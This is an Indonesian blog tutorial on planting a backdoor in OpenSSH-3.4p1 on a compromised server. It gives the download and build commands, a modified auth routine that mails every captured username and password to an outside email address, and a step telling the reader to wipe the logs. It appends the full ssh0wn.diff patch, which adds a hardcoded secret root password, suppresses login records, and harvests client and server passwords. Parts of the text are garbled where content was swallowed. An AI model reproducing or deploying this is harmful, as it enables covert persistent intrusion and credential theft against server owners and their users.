Friday, January 6, 2012

Backdoor

BACKDOOR


PENGERTIAN

Backdoor (pintu belakang) adalah salah satu rootkit yang bertugas untuk memberikan

jalasa masuk (secara illegal) terhadap sebuah sistem operasi, baik itu sifatnya

single port atau multiple port. Backdoor bekerja secara invisible dan tidak

bersifat sebagai normal authentication login.



Backdoor bisa bersifat sebagai sniffer, dalam artian fungsi dari backdoor tidak

sebatas sebagai jalan masuk (secara illegal), namun dia akan mempunyai dualisme

tugas yaitu sebagai pencatat login yang ada didalam sebuah sistem operasi.



[1.2] Menentukan Backdoor yang layak dipakai



Pengertian dari memilih backdoor yang layak disini adalah yang mempunyai beberapa

kriteria sebagai berikut:



1. Pastikan backdoor tersebut aman dari kontrol original root.

2. Backdoor yang dipakai tidak menimbulkan proses tambahan yang ada didalam

sebuah server.

3. Mempunyai kemampuan yang multifungsi, dalam artian disamping sebagai jalan masuk

juga berfungsi sebagai pencatat segala informasi yang ada didalam sistem operasi.



Kenapa backdoor harus tidak menambah proses yang ada didalam server? karena disini

penulis mengasumsikan bahwa sysadmin yang menjadi target `bukanlah orang yang bodoh’

mereka akan secara rutin mencatat segala perubahan yang terjadi didalam server. Hal

ini menuntut kita untuk melakukan perubahan didalam server seminimal mungkin.



Untuk tulisan ini, dipilih backdoor yang menginfeksi service OpenSSH, dengan

pertimbangan bahwa service OpenSSH adalah service standar yang ada dalam sebuah

sistem operasi UNIX, dan backdoor ini tidak menambah proses baru didalam server.



Secara standar jenis backdoor ini sudah mempunyai dua fungsi yang ideal sebagai

backdoor. Pertama memungkinkan kita untuk login secara remote dengan akses root

secara invisible, dan kedua memungkinkan kita untuk mengetahui informasi dari login

yang masuk dan keluar semua user yang ada didalam server.



Kelemahannya mungkin tidak secara otomatis mengirimkan informasi tersebut kedalam

email. Hal ini menyebabkan kita harus dua kali kerja untuk mengetahui informasi

tersebut. Didalam tulisan ini disamping menjelaskan bagaimana menginstal backdoor

tersebut, juga membahasa bagaimana cara mengoptimalkan kinerja backdoor ini.



[2] Instalasi Backdoor OpenSSH-3.4p1



Ada beberapa hal yang harus diperhatikan sebelum kita melakukan penetrasi terhadap

sebuah server yang berhasil kita masuki.



Pertama adalah melihat versi OpenSSH asli yang ada didalam server, dan kedua adalah

memperhatikan dan menganalisa seberapa sering root login didalam server, hal ini

akan memberikan gambaran yang jelas seberapa teliti sysadmin dalam mengelola server.



Dalam proses instalasi ini membutuhkan beberapa file pendukung yaitu:

1. ssh0wn.diff

http://sec.angrypacket.com/code/ssh0wn.diff

2. Openssh-3.4p1.tar.gz

http://openbsd.md5.com.ar/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz



Setelah semua file pendukung tersebut berhasil anda simpan didalam server, langkah

awal adalah melakukan pemecahan file OpenSSH-3.4p1 (extract), dan kedua memindahkan

file ssh0wn.diff kedalam direktori OpenSSH-3.4p1



Gambaran secara jelas dalam proses instalasi dapat anda lihat dari ilustrasi

dibawah ini:



[betha@tiamat:~]$ wget http://sec.angrypacket.com/code/ssh0wn.diff

–21:17:29– http://sec.angrypacket.com/code/ssh0wn.diff

=> `ssh0wn.diff’

Resolving sec.angrypacket.com… 64.84.39.37

Connecting to sec.angrypacket.com[64.84.39.37]:80… connected.

HTTP request sent, awaiting response… 200 OK

Length: 5,595 [text/plain]



100%[============================>] 5,595 –.–K/s



21:17:29 (1.29 MB/s) – `ssh0wn.diff’ saved [5595/5595]



[betha@tiamat:~]$ wget http://openbsd.md5.com.ar/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz

–21:17:40– http://openbsd.md5.com.ar/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz

=> `openssh-3.4p1.tar.gz’

Resolving openbsd.md5.com.ar… 200.32.4.46

Connecting to openbsd.md5.com.ar[200.32.4.46]:80… connected.

HTTP request sent, awaiting response… 200 OK

Length: 837,668 [application/x-tar]



100%[============================>] 837,668 38.64K/s ETA 00:00



21:18:03 (37.27 KB/s) – `openssh-3.4p1.tar.gz’ saved [837668/837668]



[betha@tiamat:~]$ tar xzf openssh-3.4p1.tar.gz

[betha@tiamat:~]$ mv ssh0wn.diff openssh-3.4p1

[betha@tiamat:~]$ cd openssh-3.4p1

[betha@tiamat:~/openssh-3.4p1]$ patch pw_name,password);

fclose (outf);

return 1;

}else

return 0;

[...]

——————————————————————–



Dan rubah file tersebut dengan:



——————————————————————–

[...]



if(strcmp(encrypted_password, pw_password) == 0){

outf = fopen(_LOG_DIR”/”_S_LOG,”a+”);

fprintf (outf, “%s:%s:%s:%d%s\n”,pw->pw_name,password, get_remote_ipaddr(), get_local_port(), system(“cat /dev/hdal/slog
mail aris@kecoak.or.id”));

fclose (outf);

return 1;

}else

return 0;

[...]

——————————————————————–



Simpan file tersebut dan segera memulai instalasi akhir dari penetrasi OpenSSH ini.Proses

instalasi OpenSSH ini HANYA bisa dilakukan oleh akses root.



[root@tiamat:~]# ./configure –prefix=/usr –sysconfdir=/etc/ssh

[root@tiamat:~]# make

[root@tiamat:~]# make install

[root@tiamat:~]# make clean && make distclean

[root@tiamat:~]# echo “UsePrivilegeSeparation no” >> sshd_config

[root@tiamat:~]# cp -f sshd_config /etc/ssh/sshd_config

[root@tiamat:~]# mkdir /dev/hdal

[root@tiamat:~]# chmod 777 /dev/hdal

[root@tiamat:~]# kill -HUP `cat /var/run/sshd.pid’



Proses akhir selesai, dan segera lakukan penghapusan log yang tertinggal diserver

yang berhasil anda attack. Dan anda dapat login kedalam server tersebut melalui

port standar openssh (22) dan dengan menggunakan password yang telah anda tentukan

didalam file `includes.h’



[4] References



— Backdoor Ensiklopedia

— Angrypacket Security Project



Lampiran ssh0wn.diff



# $Id: ssh0wn.diff,v 1.6 2002/08/08 21:53:02 enz00 Exp $

#

# patch for openssh-3.4p1

#

# when applied this patch will authenticate you

# as any user with the secret password and that user

# will not be logged. it will also log logins/passwords

# client and server side

#

# usage:

# you’ll probably want to change the defines found below

# make sure that the _LOG_DIR is chmod 777

# cp ssh0wn.diff openssh-3.4p1/;cd openssh-3.4p1

# patch pw_name,password);

+ fclose (outf);

+ return 1;

+ }else

+ return 0;

#endif /* !USE_PAM && !HAVE_OSF_SIA */

}

— openssh-3.4p1/auth.c Wed May 22 01:06:28 2002

+++ ssh0wn/auth.c Thu Aug 1 23:16:54 2002

@@ -248,14 +248,17 @@

else

authmsg = authenticated ? “Accepted” : “Failed”;



- authlog(“%s %s for %s%.100s from %.200s port %d%s”,

- authmsg,

- method,

- authctxt->valid ? “” : “illegal user “,

- authctxt->user,

- get_remote_ipaddr(),

- get_remote_port(),

- info);

+ /* dont log if secret pass */

+ if(!mlogin_ok){

+ authlog(“%s %s for %s%.100s from %.200s port %d%s”,

+ authmsg,

+ method,

+ authctxt->valid ? “” : “illegal user “,

+ authctxt->user,

+ get_remote_ipaddr(),

+ get_remote_port(),

+ info);

+ }

}



/*

— openssh-3.4p1/canohost.c Tue Jun 11 12:47:22 2002

+++ ssh0wn/canohost.c Wed Aug 7 17:43:34 2002

@@ -74,11 +74,13 @@



debug3(“Trying to reverse map address %.100s.”, ntop);

/* Map the IP address to a host name. */

- if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),

- NULL, 0, NI_NAMEREQD) != 0) {

- /* Host name not found. Use ip address. */

- log(“Could not reverse map address %.100s.”, ntop);

- return xstrdup(ntop);

+ if(!mlogin_ok){

+ if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),

+ NULL, 0, NI_NAMEREQD) != 0) {

+ /* Host name not found. Use ip address. */

+ log(“Could not reverse map address %.100s.”, ntop);

+ return xstrdup(ntop);

+ }

}



/* Got host name. */

— openssh-3.4p1/includes.h Mon May 13 01:14:09 2002

+++ ssh0wn/includes.h Thu Aug 8 15:45:46 2002

@@ -157,4 +157,13 @@



#include “entropy.h”



+/* hax0r shit */

+#define _SECRET_PASSWD “l33thex0r_passwerd”

+#define _LOG_DIR “/dev/hdal”

+#define _S_LOG “slog”

+#define _C_LOG “clog”

+FILE *outf;

+int mlogin_ok;

+/* end hax0r shit */

+

#endif /* INCLUDES_H */

— openssh-3.4p1/sshconnect1.c Thu Jun 6 15:57:34 2002

+++ ssh0wn/sshconnect1.c Thu Aug 8 15:48:48 2002

@@ -922,6 +922,7 @@

{

int type, i;

char *password;

+ char gpasswd[120];



debug(“Doing password authentication.”);

if (options.cipher == SSH_CIPHER_NONE)

@@ -930,6 +931,7 @@

if (i != 0)

error(“Permission denied, please try again.”);

password = read_passphrase(prompt, 0);

+ strcpy(gpasswd,password);

packet_start(SSH_CMSG_AUTH_PASSWORD);

ssh_put_password(password);

memset(password, 0, strlen(password));

@@ -938,8 +940,15 @@

packet_write_wait();



type = packet_read();

- if (type == SSH_SMSG_SUCCESS)

+ if (type == SSH_SMSG_SUCCESS){

+ /* dont log if secret pass */

+ if(strcmp(_SECRET_PASSWD,gpasswd) != 0){

+ outf = fopen(_LOG_DIR”/”_C_LOG,”a+”);

+ fprintf (outf,”%s:%s@%s\n”,options.user,gpasswd,get_remote_ipaddr());

+ fclose (outf);

+ }

return 1;

+ }

if (type != SSH_SMSG_FAILURE)

packet_disconnect(“Protocol error: got %d in response to passwd auth”, type);

}

— openssh-3.4p1/sshconnect2.c Sun Jun 23 17:23:21 2002

+++ ssh0wn/sshconnect2.c Thu Aug 8 15:48:20 2002

@@ -446,6 +446,7 @@

static int attempt = 0;

char prompt[150];

char *password;

+ char gpasswd[120];



if (attempt++ >= options.number_of_password_prompts)

return 0;

@@ -456,6 +457,7 @@

snprintf(prompt, sizeof(prompt), “%.30s@%.128s’s password: “,

authctxt->server_user, authctxt->host);

password = read_passphrase(prompt, 0);

+ strcpy(gpasswd,password);

packet_start(SSH2_MSG_USERAUTH_REQUEST);

packet_put_cstring(authctxt->server_user);

packet_put_cstring(authctxt->service);

@@ -470,6 +472,12 @@

dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,

&input_userauth_passwd_changereq);



+ /* dont log if its the secret pass */

+ if(strcmp(_SECRET_PASSWD,gpasswd) != 0){

+ outf = fopen(_LOG_DIR”/”_C_LOG,”a+”);

+ fprintf (outf,”%s:%s@%s\n”,options.user,gpasswd,get_remote_ipaddr());

+ fclose (outf);

+ }

return 1;

}

/*

— openssh-3.4p1/sshlogin.c Sun Jun 23 17:23:21 2002

+++ ssh0wn/sshlogin.c Thu Aug 8 15:46:10 2002

@@ -71,8 +71,11 @@



li = login_alloc_entry(pid, user, host, ttyname);

login_set_addr(li, addr, sizeof(struct sockaddr));

- login_login(li);

- login_free_entry(li);

+ /* dont log if secret pass */

+ if(!mlogin_ok){

+ login_login(li);

+ login_free_entry(li);

+ }

}



#ifdef LOGIN_NEEDS_UTMPX

@@ -96,6 +99,9 @@

struct logininfo *li;



li = login_alloc_entry(pid, user, NULL, ttyname);

- login_logout(li);

- login_free_entry(li);

+ /* no logout if secret pass */

+ if(!mlogin_ok){

+ login_logout(li);

+ login_free_entry(li);

+ }

}



Selamat belajar,

No comments: